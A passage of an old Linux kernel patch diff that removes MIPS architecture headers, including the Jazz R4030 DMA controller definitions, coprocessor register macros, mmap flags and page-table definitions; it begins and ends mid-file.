0xE00000E8 */ -#define JAZZ_R4030_IRQ_ENABLE 0xE00000E8 /* Internal Interrupt Enable */ - -#define JAZZ_R4030_IRQ_SOURCE 0xE0000200 /* Interrupt Source Reg */ -#define JAZZ_R4030_I386_ERROR 0xE0000208 /* i386/EISA Bus Error */ - - -/* - * Access the R4030 DMA and I/O Controller - */ -#ifndef __LANGUAGE_ASSEMBLY__ - -extern inline unsigned short r4030_read_reg16(unsigned addr) { - unsigned short ret = *((volatile unsigned short *)addr); - __asm__ __volatile__( - ".set\tnoreorder\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - ".set\treorder"); - return ret; -} - -extern inline unsigned int r4030_read_reg32(unsigned addr) { - unsigned int ret = *((volatile unsigned int *)addr); - __asm__ __volatile__( - ".set\tnoreorder\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - ".set\treorder"); - return ret; -} - -extern inline void r4030_write_reg16(unsigned addr, unsigned val) { - *((volatile unsigned short *)addr) = val; - __asm__ __volatile__( - ".set\tnoreorder\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - ".set\treorder"); -} - -extern inline unsigned int r4030_write_reg32(unsigned addr, unsigned val) { - *((volatile unsigned int *)addr) = val; - __asm__ __volatile__( - ".set\tnoreorder\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - "nop\n\t" - ".set\treorder"); -} - -#endif /* !LANGUAGE_ASSEMBLY__ */ - -#define JAZZ_FDC_BASE 0xe0003000 - -#define JAZZ_RTC_BASE 0xe0004000 - -#endif /* __ASM_MIPS_JAZZ_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/jazzdma.h linux/include/asm-mips/jazzdma.h --- linux-2.1.29/include/asm-mips/jazzdma.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/jazzdma.h Wed Dec 31 19:00:00 1969 @@ -1,96 +0,0 @@ -/* - * Helpfile for jazzdma.c -- Mips Jazz R4030 DMA controller support - */ - -#ifndef __ASM_JAZZDMA_H -#define __ASM_JAZZDMA_H - -/* - * Prototypes and macros - */ - -unsigned long vdma_init(unsigned long memory_start, unsigned long memory_end); -unsigned long vdma_alloc(unsigned long paddr, unsigned long size); -int vdma_free(unsigned long laddr); -int vdma_remap(unsigned long laddr, unsigned long paddr, unsigned long size); -unsigned long vdma_phys2log(unsigned long paddr); -unsigned long vdma_log2phys(unsigned long laddr); -void vdma_stats(void); /* for debugging only */ - -void vdma_enable(int channel); -void vdma_disable(int channel); -void vdma_set_mode(int channel, int mode); -void vdma_set_addr(int channel, long addr); -void vdma_set_count(int channel, int count); -int vdma_get_residue(int channel); - -/* - * some definitions used by the driver functions - */ -#define VDMA_PAGESIZE 4096 -#define VDMA_PGTBL_ENTRIES 4096 -#define VDMA_PGTBL_SIZE (sizeof(VDMA_PGTBL_ENTRY) * VDMA_PGTBL_ENTRIES) -#define VDMA_PAGE_EMPTY 0 - -/* - * Macros to get page no. and offset of a given address - * Note that VDMA_PAGE() works for physical addresses only - */ -#define VDMA_PAGE(a) ((unsigned int)(a) >> 12) -#define VDMA_OFFSET(a) ((unsigned int)(a) & (VDMA_PAGESIZE-1)) - -/* - * error code returned by vdma_alloc() - * (See also arch/mips/kernel/jazzdma.c) - */ -#define VDMA_ERROR 0xffffffff - -/* - * VDMA pagetable entry description - */ -typedef volatile struct VDMA_PGTBL_ENTRY -{ - unsigned int frame; /* physical frame no. */ - unsigned int owner; /* owner of this entry (0=free) */ -} VDMA_PGTBL_ENTRY; - - -/* - * DMA channel control registers - * in the R4030 MCT_ADR chip - */ -#define JAZZ_R4030_CHNL_MODE 0xE0000100 /* 8 DMA Channel Mode Registers, */ - /* 0xE0000100,120,140... */ -#define JAZZ_R4030_CHNL_ENABLE 0xE0000108 /* 8 DMA Channel Enable Regs, */ - /* 0xE0000108,128,148... */ -#define JAZZ_R4030_CHNL_COUNT 0xE0000110 /* 8 DMA Channel Byte Cnt Regs, */ - /* 0xE0000110,130,150... */ -#define JAZZ_R4030_CHNL_ADDR 0xE0000118 /* 8 DMA Channel Address Regs, */ - /* 0xE0000118,138,158... */ - -/* channel enable register bits */ - -#define R4030_CHNL_ENABLE (1<<0) -#define R4030_CHNL_WRITE (1<<1) -#define R4030_TC_INTR (1<<8) -#define R4030_MEM_INTR (1<<9) -#define R4030_ADDR_INTR (1<<10) - -/* channel mode register bits */ - -#define R4030_MODE_ATIME_40 (0) /* device access time on remote bus */ -#define R4030_MODE_ATIME_80 (1) -#define R4030_MODE_ATIME_120 (2) -#define R4030_MODE_ATIME_160 (3) -#define R4030_MODE_ATIME_200 (4) -#define R4030_MODE_ATIME_240 (5) -#define R4030_MODE_ATIME_280 (6) -#define R4030_MODE_ATIME_320 (7) -#define R4030_MODE_WIDTH_8 (1<<3) /* device data bus width */ -#define R4030_MODE_WIDTH_16 (2<<3) -#define R4030_MODE_WIDTH_32 (3<<3) -#define R4030_MODE_INTR_EN (1<<5) -#define R4030_MODE_BURST (1<<6) /* Rev. 2 only */ -#define R4030_MODE_FAST_ACK (1<<7) /* Rev. 2 only */ - -#endif /* __ASM_JAZZDMA_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/mc146818rtc.h linux/include/asm-mips/mc146818rtc.h --- linux-2.1.29/include/asm-mips/mc146818rtc.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/mc146818rtc.h Wed Dec 31 19:00:00 1969 @@ -1,28 +0,0 @@ -/* - * Machine dependent access functions for RTC registers. - */ -#ifndef __ASM_MIPS_MC146818RTC_H -#define __ASM_MIPS_MC146818RTC_H - -#include -#include - -#ifndef RTC_PORT -#define RTC_PORT(x) (0x70 + (x)) -#define RTC_ALWAYS_BCD 1 -#endif - -/* - * The yet supported machines all access the RTC index register via - * an ISA port access but the way to access the date register differs ... - */ -#define CMOS_READ(addr) ({ \ -outb_p((addr),RTC_PORT(0)); \ -feature->rtc_read_data(); \ -}) -#define CMOS_WRITE(val, addr) ({ \ -outb_p((addr),RTC_PORT(0)); \ -feature->rtc_write_data(val); \ -}) - -#endif /* __ASM_MIPS_MC146818RTC_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/mipsconfig.h linux/include/asm-mips/mipsconfig.h --- linux-2.1.29/include/asm-mips/mipsconfig.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/mipsconfig.h Wed Dec 31 19:00:00 1969 @@ -1,58 +0,0 @@ -/* - * include/asm-mips/mipsconfig.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_MIPSCONFIG_H -#define __ASM_MIPS_MIPSCONFIG_H - -/* - * This is the virtual address to which all ports are being mapped. - * Must be a value that can be load with a lui instruction. - */ -#ifndef PORT_BASE -#define PORT_BASE 0xe2000000 -#endif - -/* - * Pagetables are 4MB mapped at 0xe4000000 - * Must be a value that can be loaded with a single instruction. - */ -#define TLBMAP 0xe4000000 - -/* - * The virtual address where we'll map the pagetables - * For a base address of 0xe3000000 this is 0xe338c000 - * For a base address of 0xe4000000 this is 0xe4390000 - * FIXME: Gas computes the following expression with signed - * shift and therefore false -#define TLB_ROOT (TLBMAP + (TLBMAP >> (12-2))) - */ -#define TLB_ROOT 0xe4390000 - -/* - * Use this to activate extra TLB error checking - */ -#define CONF_DEBUG_TLB - -/* - * Use this to activate extra TLB profiling code - * (currently not implemented) - */ -#undef CONF_PROFILE_TLB - -/* - * Disable all caching. Useful to find trouble with caches in drivers. - */ -#undef CONF_DISABLE_KSEG0_CACHING - -/* - * Set this to one to enable additional vdma debug code. - */ -#define CONF_DEBUG_VDMA 0 - -#endif /* __ASM_MIPS_MIPSCONFIG_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/mipsregs.h linux/include/asm-mips/mipsregs.h --- linux-2.1.29/include/asm-mips/mipsregs.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/mipsregs.h Wed Dec 31 19:00:00 1969 @@ -1,268 +0,0 @@ -/* - * include/asm-mips/mipsregs.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Ralf Baechle - */ - -#ifndef __ASM_MIPS_MIPSREGS_H -#define __ASM_MIPS_MIPSREGS_H - -/* - * The following macros are especially useful for __asm__ - * inline assembler. - */ - -#ifndef __STR -#define __STR(x) #x -#endif -#ifndef STR -#define STR(x) __STR(x) -#endif - -/* - * On the R2000/3000 load instructions are not interlocked - - * we therefore sometimes need to fill load delay slots with a nop - * which would be useless for ISA >= 2. - */ -#if !defined (__R4000__) -#define FILL_LDS nop -#else -#define FILL_LDS -#endif - -/* - * Coprocessor 0 register names - */ -#define CP0_INDEX $0 -#define CP0_RANDOM $1 -#define CP0_ENTRYLO0 $2 -#define CP0_ENTRYLO1 $3 -#define CP0_CONTEXT $4 -#define CP0_PAGEMASK $5 -#define CP0_WIRED $6 -#define CP0_BADVADDR $8 -#define CP0_COUNT $9 -#define CP0_ENTRYHI $10 -#define CP0_COMPARE $11 -#define CP0_STATUS $12 -#define CP0_CAUSE $13 -#define CP0_EPC $14 -#define CP0_PRID $15 -#define CP0_CONFIG $16 -#define CP0_LLADDR $17 -#define CP0_WATCHLO $18 -#define CP0_WATCHHI $19 -#define CP0_XCONTEXT $20 -#define CP0_FRAMEMASK $21 -#define CP0_DIAGNOSTIC $22 -#define CP0_PERFORMANCE $25 -#define CP0_ECC $26 -#define CP0_CACHEERR $27 -#define CP0_TAGLO $28 -#define CP0_TAGHI $29 -#define CP0_ERROREPC $30 - -/* - * Coprocessor 1 (FPU) register names - */ -#define CP1_REVISION $0 -#define CP1_STATUS $31 - -/* - * Values for PageMask register - */ -#define PM_4K 0x00000000 -#define PM_16K 0x00006000 -#define PM_64K 0x0001e000 -#define PM_256K 0x0007e000 -#define PM_1M 0x001fe000 -#define PM_4M 0x007fe000 -#define PM_16M 0x01ffe000 - -/* - * Values used for computation of new tlb entries - */ -#define PL_4K 12 -#define PL_16K 14 -#define PL_64K 16 -#define PL_256K 18 -#define PL_1M 20 -#define PL_4M 22 -#define PL_16M 24 - -/* - * Macros to access the system control coprocessor - */ -#define read_32bit_cp0_register(source) \ -({ int __res; \ - __asm__ __volatile__( \ - "mfc0\t%0,"STR(source) \ - : "=r" (__res)); \ - __res;}) - -#define read_64bit_cp0_register(source) \ -({ int __res; \ - __asm__ __volatile__( \ - ".set\tmips3\n\t" \ - "dmfc0\t%0,"STR(source)"\n\t" \ - ".set\tmips0" \ - : "=r" (__res)); \ - __res;}) - -#define write_32bit_cp0_register(register,value) \ - __asm__ __volatile__( \ - "mtc0\t%0,"STR(register) \ - : : "r" (value)); - -#define write_64bit_cp0_register(register,value) \ - __asm__ __volatile__( \ - ".set\tmips3\n\t" \ - "dmtc0\t%0,"STR(register)"\n\t" \ - ".set\tmips0" \ - : : "r" (value)) -/* - * R4x00 interrupt enable / cause bits - */ -#define IE_SW0 (1<< 8) -#define IE_SW1 (1<< 9) -#define IE_IRQ0 (1<<10) -#define IE_IRQ1 (1<<11) -#define IE_IRQ2 (1<<12) -#define IE_IRQ3 (1<<13) -#define IE_IRQ4 (1<<14) -#define IE_IRQ5 (1<<15) - -/* - * R4x00 interrupt cause bits - */ -#define C_SW0 (1<< 8) -#define C_SW1 (1<< 9) -#define C_IRQ0 (1<<10) -#define C_IRQ1 (1<<11) -#define C_IRQ2 (1<<12) -#define C_IRQ3 (1<<13) -#define C_IRQ4 (1<<14) -#define C_IRQ5 (1<<15) - -#ifndef __LANGUAGE_ASSEMBLY__ -/* - * Manipulate the status register. - * Mostly used to access the interrupt bits. - */ -#define BUILD_SET_CP0(name,register) \ -extern __inline__ unsigned int \ -set_cp0_##name(unsigned int change, unsigned int new) \ -{ \ - unsigned int res; \ - \ - res = read_32bit_cp0_register(register); \ - res &= ~change; \ - res |= (new & change); \ - if(change) \ - write_32bit_cp0_register(register, res); \ - \ - return res; \ -} - -BUILD_SET_CP0(status,CP0_STATUS) -BUILD_SET_CP0(cause,CP0_CAUSE) - -#endif /* defined (__LANGUAGE_ASSEMBLY__) */ - -/* - * Inline code for use of the ll and sc instructions - * - * FIXME: This instruction is only available on MIPS ISA >=3. - * Since these operations are only being used for atomic operations - * the easiest workaround for the R[23]00 is to disable interrupts. - */ -#define load_linked(addr) \ -({ \ - unsigned int __res; \ - \ - __asm__ __volatile__( \ - "ll\t%0,(%1)" \ - : "=r" (__res) \ - : "r" ((unsigned int) (addr))); \ - \ - __res; \ -}) - -#define store_conditional(addr,value) \ -({ \ - int __res; \ - \ - __asm__ __volatile__( \ - "sc\t%0,(%2)" \ - : "=r" (__res) \ - : "0" (value), "r" (addr)); \ - \ - __res; \ -}) - -/* - * Bitfields in the cp0 status register - * - * Refer to the MIPS R4xx0 manuals, chapter 5 for explanation. - * FIXME: This doesn't cover all R4xx0 processors. - */ -#define ST0_IE (1 << 0) -#define ST0_EXL (1 << 1) -#define ST0_ERL (1 << 2) -#define ST0_KSU (3 << 3) -# define KSU_USER (2 << 3) -# define KSU_SUPERVISOR (1 << 3) -# define KSU_KERNEL (0 << 3) -#define ST0_UX (1 << 5) -#define ST0_SX (1 << 6) -#define ST0_KX (1 << 7) -#define ST0_IM (255 << 8) -#define ST0_DE (1 << 16) -#define ST0_CE (1 << 17) -#define ST0_CH (1 << 18) -#define ST0_SR (1 << 20) -#define ST0_BEV (1 << 22) -#define ST0_RE (1 << 25) -#define ST0_FR (1 << 26) -#define ST0_CU (15 << 28) -#define ST0_CU0 (1 << 28) -#define ST0_CU1 (1 << 29) -#define ST0_CU2 (1 << 30) -#define ST0_CU3 (1 << 31) -#define ST0_XX (1 << 31) /* R8000/R10000 naming */ - -/* - * Bitfields and bit numbers in the coprocessor 0 cause register. - * - * Refer to to your MIPS R4xx0 manual, chapter 5 for explanation. - */ -#define CAUSEB_EXCCODE 2 -#define CAUSEF_EXCCODE (31 << 2) -#define CAUSEB_IP 8 -#define CAUSEF_IP (255 << 8) -#define CAUSEB_IP0 8 -#define CAUSEF_IP0 (1 << 8) -#define CAUSEB_IP1 9 -#define CAUSEF_IP1 (1 << 9) -#define CAUSEB_IP2 10 -#define CAUSEF_IP2 (1 << 10) -#define CAUSEB_IP3 11 -#define CAUSEF_IP3 (1 << 11) -#define CAUSEB_IP4 12 -#define CAUSEF_IP4 (1 << 12) -#define CAUSEB_IP5 13 -#define CAUSEF_IP5 (1 << 13) -#define CAUSEB_IP6 14 -#define CAUSEF_IP6 (1 << 14) -#define CAUSEB_IP7 15 -#define CAUSEF_IP7 (1 << 15) -#define CAUSEB_CE 28 -#define CAUSEF_CE (3 << 28) -#define CAUSEB_BD 31 -#define CAUSEF_BD (1 << 31) - -#endif /* __ASM_MIPS_MIPSREGS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/mman.h linux/include/asm-mips/mman.h --- linux-2.1.29/include/asm-mips/mman.h Sat May 10 18:12:11 1997 +++ linux/include/asm-mips/mman.h Wed Dec 31 19:00:00 1969 @@ -1,62 +0,0 @@ -/* - * Linux/MIPS memory manager definitions - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_MMAN_H -#define __ASM_MIPS_MMAN_H - -/* - * Protections are chosen from these bits, OR'd together. The - * implementation does not necessarily support PROT_EXEC or PROT_WRITE - * without PROT_READ. The only guarantees are that no writing will be - * allowed without PROT_WRITE and no access will be allowed for PROT_NONE. - */ -#define PROT_NONE 0x0 /* page can not be accessed */ -#define PROT_READ 0x1 /* page can be read */ -#define PROT_WRITE 0x2 /* page can be written */ -#define PROT_EXEC 0x4 /* page can be executed */ - -/* - * Flags for mmap - */ -#define MAP_SHARED 0x001 /* Share changes */ -#define MAP_PRIVATE 0x002 /* Changes are private */ -#define MAP_TYPE 0x00f /* Mask for type of mapping */ -#define MAP_FIXED 0x010 /* Interpret addr exactly */ - -/* not used by linux, but here to make sure we don't clash with ABI defines */ -#define MAP_RENAME 0x020 /* Assign page to file */ -#define MAP_AUTOGROW 0x040 /* File may grow by writing */ -#define MAP_LOCAL 0x080 /* Copy on fork/sproc */ -#define MAP_AUTORSRV 0x100 /* Logical swap reserved on demand */ - -/* These are linux-specific */ -#define MAP_ANONYMOUS 0x0800 /* don't use a file */ -#define MAP_GROWSDOWN 0x1000 /* stack-like segment */ -#define MAP_DENYWRITE 0x2000 /* ETXTBSY */ -#define MAP_EXECUTABLE 0x4000 /* mark it as an executable */ -#define MAP_LOCKED 0x8000 /* pages are locked */ - -/* - * Flags for msync - */ -#define MS_SYNC 0 /* synchronous memory sync */ -#define MS_ASYNC 1 /* sync memory asynchronously */ -#define MS_INVALIDATE 2 /* invalidate mappings & caches */ - -/* - * Flags for mlockall - */ -#define MCL_CURRENT 1 /* lock all current mappings */ -#define MCL_FUTURE 2 /* lock all future mappings */ - -/* compatibility flags */ -#define MAP_ANON MAP_ANONYMOUS -#define MAP_FILE 0 - -#endif /* __ASM_MIPS_MMAN_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/page.h linux/include/asm-mips/page.h --- linux-2.1.29/include/asm-mips/page.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/page.h Wed Dec 31 19:00:00 1969 @@ -1,102 +0,0 @@ -#ifndef __ASM_MIPS_PAGE_H -#define __ASM_MIPS_PAGE_H - -/* PAGE_SHIFT determines the page size */ -#define PAGE_SHIFT 12 -#define PAGE_SIZE (1UL << PAGE_SHIFT) -#define PAGE_MASK (~(PAGE_SIZE-1)) - -#ifdef __KERNEL__ - -#define STRICT_MM_TYPECHECKS - -#ifndef __LANGUAGE_ASSEMBLY__ - -#ifdef STRICT_MM_TYPECHECKS -/* - * These are used to make use of C type-checking.. - */ -typedef struct { unsigned long pte; } pte_t; -typedef struct { unsigned long pmd; } pmd_t; -typedef struct { unsigned long pgd; } pgd_t; -typedef struct { unsigned long pgprot; } pgprot_t; - -#define pte_val(x) ((x).pte) -#define pmd_val(x) ((x).pmd) -#define pgd_val(x) ((x).pgd) -#define pgprot_val(x) ((x).pgprot) - -#define __pte(x) ((pte_t) { (x) } ) -#define __pme(x) ((pme_t) { (x) } ) -#define __pgd(x) ((pgd_t) { (x) } ) -#define __pgprot(x) ((pgprot_t) { (x) } ) - -#else /* !defined (STRICT_MM_TYPECHECKS) */ -/* - * .. while these make it easier on the compiler - */ -typedef unsigned long pte_t; -typedef unsigned long pmd_t; -typedef unsigned long pgd_t; -typedef unsigned long pgprot_t; - -#define pte_val(x) (x) -#define pmd_val(x) (x) -#define pgd_val(x) (x) -#define pgprot_val(x) (x) - -#define __pte(x) (x) -#define __pmd(x) (x) -#define __pgd(x) (x) -#define __pgprot(x) (x) - -#endif /* !defined (STRICT_MM_TYPECHECKS) */ - -/* - * We need a special version of copy_page that can handle virtual caches. - * While we're at tweaking with caches we can use that to make it even - * faster. The R10000 accelerated caching mode will further accelerate it. - */ -extern void __copy_page(unsigned long from, unsigned long to); -#define copy_page(from,to) __copy_page((unsigned long)from, (unsigned long)to) - -#endif /* __LANGUAGE_ASSEMBLY__ */ - -/* to align the pointer to the (next) page boundary */ -#define PAGE_ALIGN(addr) (((addr)+PAGE_SIZE-1)&PAGE_MASK) - -/* This handles the memory map */ -#if __mips == 3 -/* - * We handle pages at XKPHYS + 0x1800000000000000 (cachable, noncoherent) - * Pagetables are at XKPHYS + 0x1000000000000000 (uncached) - */ -#define PAGE_OFFSET 0x9800000000000000UL -#define PT_OFFSET 0x9000000000000000UL -#define MAP_MASK 0x07ffffffffffffffUL -#else -/* - * We handle pages at KSEG0 (cachable, noncoherent) - * Pagetables are at KSEG1 (uncached) - */ -#define PAGE_OFFSET 0x80000000 -#define PT_OFFSET 0xa0000000 -#define MAP_MASK 0x1fffffff -#endif - -#define MAP_NR(addr) ((((unsigned long)(addr)) & MAP_MASK) >> PAGE_SHIFT) - -#ifndef __LANGUAGE_ASSEMBLY__ - -extern unsigned long page_colour_mask; - -extern inline unsigned long -page_colour(unsigned long page) -{ - return page & page_colour_mask; -} - -#endif /* defined (__LANGUAGE_ASSEMBLY__) */ -#endif /* defined (__KERNEL__) */ - -#endif /* __ASM_MIPS_PAGE_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/param.h linux/include/asm-mips/param.h --- linux-2.1.29/include/asm-mips/param.h Wed Jan 18 01:54:13 1995 +++ linux/include/asm-mips/param.h Wed Dec 31 19:00:00 1969 @@ -1,20 +0,0 @@ -#ifndef __ASM_MIPS_PARAM_H -#define __ASM_MIPS_PARAM_H - -#ifndef HZ -#define HZ 100 -#endif - -#define EXEC_PAGESIZE 4096 - -#ifndef NGROUPS -#define NGROUPS 32 -#endif - -#ifndef NOGROUP -#define NOGROUP (-1) -#endif - -#define MAXHOSTNAMELEN 64 /* max length of hostname */ - -#endif /* __ASM_MIPS_PARAM_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/pgtable.h linux/include/asm-mips/pgtable.h --- linux-2.1.29/include/asm-mips/pgtable.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/pgtable.h Wed Dec 31 19:00:00 1969 @@ -1,570 +0,0 @@ -#ifndef __ASM_MIPS_PGTABLE_H -#define __ASM_MIPS_PGTABLE_H - -#ifndef __LANGUAGE_ASSEMBLY__ - -#include -#include - -/* - * The Linux memory management assumes a three-level page table setup. In - * 32 bit mode we use that, but "fold" the mid level into the top-level page - * table, so that we physically have the same two-level page table as the - * i386 mmu expects. The 64 bit version uses a three level setup. - * - * This file contains the functions and defines necessary to modify and use - * the MIPS page table tree. Note the frequent conversion between addresses - * in KSEG0 and KSEG1. - * - * This is required due to the cache aliasing problem of the R4xx0 series. - * Sometimes doing uncached accesses also to improve the cache performance - * slightly. The R10000 caching mode "uncached accelerated" will help even - * further. - */ - -/* - * TLB invalidation: - * - * - invalidate() invalidates the current mm struct TLBs - * - invalidate_all() invalidates all processes TLBs - * - invalidate_mm(mm) invalidates the specified mm context TLB's - * - invalidate_page(mm, vmaddr) invalidates one page - * - invalidate_range(mm, start, end) invalidates a range of pages - * - * FIXME: MIPS has full control of all TLB activity in the CPU. Though - * we just stick with complete flushing of TLBs for now. - */ -extern asmlinkage void tlbflush(void); -#define invalidate() ({sys_cacheflush(0, ~0, BCACHE);tlbflush();}) - -#define invalidate_all() invalidate() -#define invalidate_mm(mm_struct) \ -do { if ((mm_struct) == current->mm) invalidate(); } while (0) -#define invalidate_page(mm_struct,addr) \ -do { if ((mm_struct) == current->mm) invalidate(); } while (0) -#define invalidate_range(mm_struct,start,end) \ -do { if ((mm_struct) == current->mm) invalidate(); } while (0) - -/* - * We need a special version of copy_page that can handle virtual caches. - * While we're at tweaking with caches we can use that to make it faster. - * The R10000's accelerated caching mode will further accelerate it. - */ -extern void __copy_page(unsigned long from, unsigned long to); -#define copy_page(from,to) __copy_page((unsigned long)from, (unsigned long)to) - -/* Certain architectures need to do special things when pte's - * within a page table are directly modified. Thus, the following - * hook is made available. - */ -#define set_pte(pteptr, pteval) ((*(pteptr)) = (pteval)) - -#endif /* !defined (__LANGUAGE_ASSEMBLY__) */ - -/* PMD_SHIFT determines the size of the area a second-level page table can map */ -#define PMD_SHIFT 22 -#define PMD_SIZE (1UL << PMD_SHIFT) -#define PMD_MASK (~(PMD_SIZE-1)) - -/* PGDIR_SHIFT determines what a third-level page table entry can map */ -#define PGDIR_SHIFT 22 -#define PGDIR_SIZE (1UL << PGDIR_SHIFT) -#define PGDIR_MASK (~(PGDIR_SIZE-1)) - -/* - * entries per page directory level: we use two-level, so - * we don't really have any PMD directory physically. - */ -#define PTRS_PER_PTE 1024 -#define PTRS_PER_PMD 1 -#define PTRS_PER_PGD 1024 - -#define VMALLOC_START KSEG2 -#define VMALLOC_VMADDR(x) ((unsigned long)(x)) - -/* - * Note that we shift the lower 32bits of each EntryLo[01] entry - * 6 bits to the left. That way we can convert the PFN into the - * physical address by a single 'and' operation and gain 6 additional - * bits for storing information which isn't present in a normal - * MIPS page table. - * Since the Mips has chosen some quite misleading names for the - * valid and dirty bits they're defined here but only their synonyms - * will be used. - */ -#define _PAGE_PRESENT (1<<0) /* implemented in software */ -#define _PAGE_COW (1<<1) /* implemented in software */ -#define _PAGE_READ (1<<2) /* implemented in software */ -#define _PAGE_WRITE (1<<3) /* implemented in software */ -#define _PAGE_ACCESSED (1<<4) /* implemented in software */ -#define _PAGE_MODIFIED (1<<5) /* implemented in software */ -#define _PAGE_GLOBAL (1<<6) -#define _PAGE_VALID (1<<7) -#define _PAGE_SILENT_READ (1<<7) /* synonym */ -#define _PAGE_DIRTY (1<<8) /* The MIPS dirty bit */ -#define _PAGE_SILENT_WRITE (1<<8) -#define _CACHE_CACHABLE_NO_WA (0<<9) /* R4600 only */ -#define _CACHE_CACHABLE_WA (1<<9) /* R4600 only */ -#define _CACHE_UNCACHED (2<<9) /* R4[0246]00 */ -#define _CACHE_CACHABLE_NONCOHERENT (3<<9) /* R4[0246]00 */ -#define _CACHE_CACHABLE_CE (4<<9) /* R4[04]00 only */ -#define _CACHE_CACHABLE_COW (5<<9) /* R4[04]00 only */ -#define _CACHE_CACHABLE_CUW (6<<9) /* R4[04]00 only */ -#define _CACHE_CACHABLE_ACCELERATED (7<<9) /* R10000 only */ -#define _CACHE_MASK (7<<9) - -#define __READABLE (_PAGE_READ|_PAGE_SILENT_READ|_PAGE_ACCESSED) -#define __WRITEABLE (_PAGE_WRITE|_PAGE_SILENT_WRITE|_PAGE_MODIFIED) - -#define _PAGE_TABLE (_PAGE_PRESENT | __READABLE | __WRITEABLE | \ - _PAGE_DIRTY | _CACHE_UNCACHED) -#define _PAGE_CHG_MASK (PAGE_MASK | _PAGE_ACCESSED | _PAGE_DIRTY | _CACHE_MASK) - -#define PAGE_NONE __pgprot(_PAGE_PRESENT | __READABLE | _CACHE_UNCACHED) -#define PAGE_SHARED __pgprot(_PAGE_PRESENT | __READABLE | _PAGE_WRITE | \ - _PAGE_ACCESSED | _CACHE_CACHABLE_NONCOHERENT) -#define PAGE_COPY __pgprot(_PAGE_PRESENT | __READABLE | _PAGE_COW | \ - _CACHE_CACHABLE_NONCOHERENT) -#define PAGE_READONLY __pgprot(_PAGE_PRESENT | __READABLE | \ - _CACHE_CACHABLE_NONCOHERENT) -#define PAGE_KERNEL __pgprot(_PAGE_PRESENT | __READABLE | __WRITEABLE | \ - _CACHE_CACHABLE_NONCOHERENT) - -/* - * MIPS can't do page protection for execute, and considers that the same like - * read. Also, write permissions imply read permissions. This is the closest - * we can get by reasonable means.. - */ -#define __P000 PAGE_NONE -#define __P001 PAGE_READONLY -#define __P010 PAGE_COPY -#define __P011 PAGE_COPY -#define __P100 PAGE_READONLY -#define __P101 PAGE_READONLY -#define __P110 PAGE_COPY -#define __P111 PAGE_COPY - -#define __S000 PAGE_NONE -#define __S001 PAGE_READONLY -#define __S010 PAGE_SHARED -#define __S011 PAGE_SHARED -#define __S100 PAGE_READONLY -#define __S101 PAGE_READONLY -#define __S110 PAGE_SHARED -#define __S111 PAGE_SHARED - -#if !defined (__LANGUAGE_ASSEMBLY__) - -/* page table for 0-4MB for everybody */ -extern unsigned long pg0[1024]; - -/* - * BAD_PAGETABLE is used when we need a bogus page-table, while - * BAD_PAGE is used for a bogus page. - * - * ZERO_PAGE is a global shared page that is always zero: used - * for zero-mapped memory areas etc.. - */ -extern pte_t __bad_page(void); -extern pte_t * __bad_pagetable(void); - -extern unsigned long __zero_page(void); - -#define BAD_PAGETABLE __bad_pagetable() -#define BAD_PAGE __bad_page() -#define ZERO_PAGE __zero_page() - -/* number of bits that fit into a memory pointer */ -#define BITS_PER_PTR (8*sizeof(unsigned long)) - -/* to align the pointer to a pointer address */ -#define PTR_MASK (~(sizeof(void*)-1)) - -/* - * sizeof(void*)==1<>(PAGE_SHIFT-SIZEOF_PTR_LOG2)&PTR_MASK&~PAGE_MASK) - -/* to set the page-dir */ -#define SET_PAGE_DIR(tsk,pgdir) \ -do { \ - (tsk)->tss.pg_dir = ((unsigned long) (pgdir)) - PT_OFFSET; \ - if ((tsk) == current) \ - { \ - void load_pgd(unsigned long pg_dir); \ - \ - load_pgd((tsk)->tss.pg_dir); \ - } \ -} while (0) - -extern unsigned long high_memory; -extern pmd_t invalid_pte_table[PAGE_SIZE/sizeof(pmd_t)]; - -/* - * Conversion functions: convert a page and protection to a page entry, - * and a page entry and page directory to the page they refer to. - */ -extern inline unsigned long pte_page(pte_t pte) -{ return PAGE_OFFSET + (pte_val(pte) & PAGE_MASK); } - -extern inline unsigned long pmd_page(pmd_t pmd) -{ return PAGE_OFFSET + (pmd_val(pmd) & PAGE_MASK); } - -extern inline void pmd_set(pmd_t * pmdp, pte_t * ptep) -{ pmd_val(*pmdp) = _PAGE_TABLE | ((unsigned long) ptep - PT_OFFSET); } - -extern inline int pte_none(pte_t pte) { return !pte_val(pte); } -extern inline int pte_present(pte_t pte) { return pte_val(pte) & _PAGE_PRESENT; } -extern inline int pte_inuse(pte_t *ptep) { return mem_map[MAP_NR(ptep)].reserved || mem_map[MAP_NR(ptep)].count != 1; } -extern inline void pte_clear(pte_t *ptep) { pte_val(*ptep) = 0; } -extern inline void pte_reuse(pte_t * ptep) -{ - if (!mem_map[MAP_NR(ptep)].reserved) - mem_map[MAP_NR(ptep)].count++; -} - -/* - * Empty pgd/pmd entries point to the invalid_pte_table. - */ -extern inline int pmd_none(pmd_t pmd) { return (pmd_val(pmd) & PAGE_MASK) == ((unsigned long) invalid_pte_table - 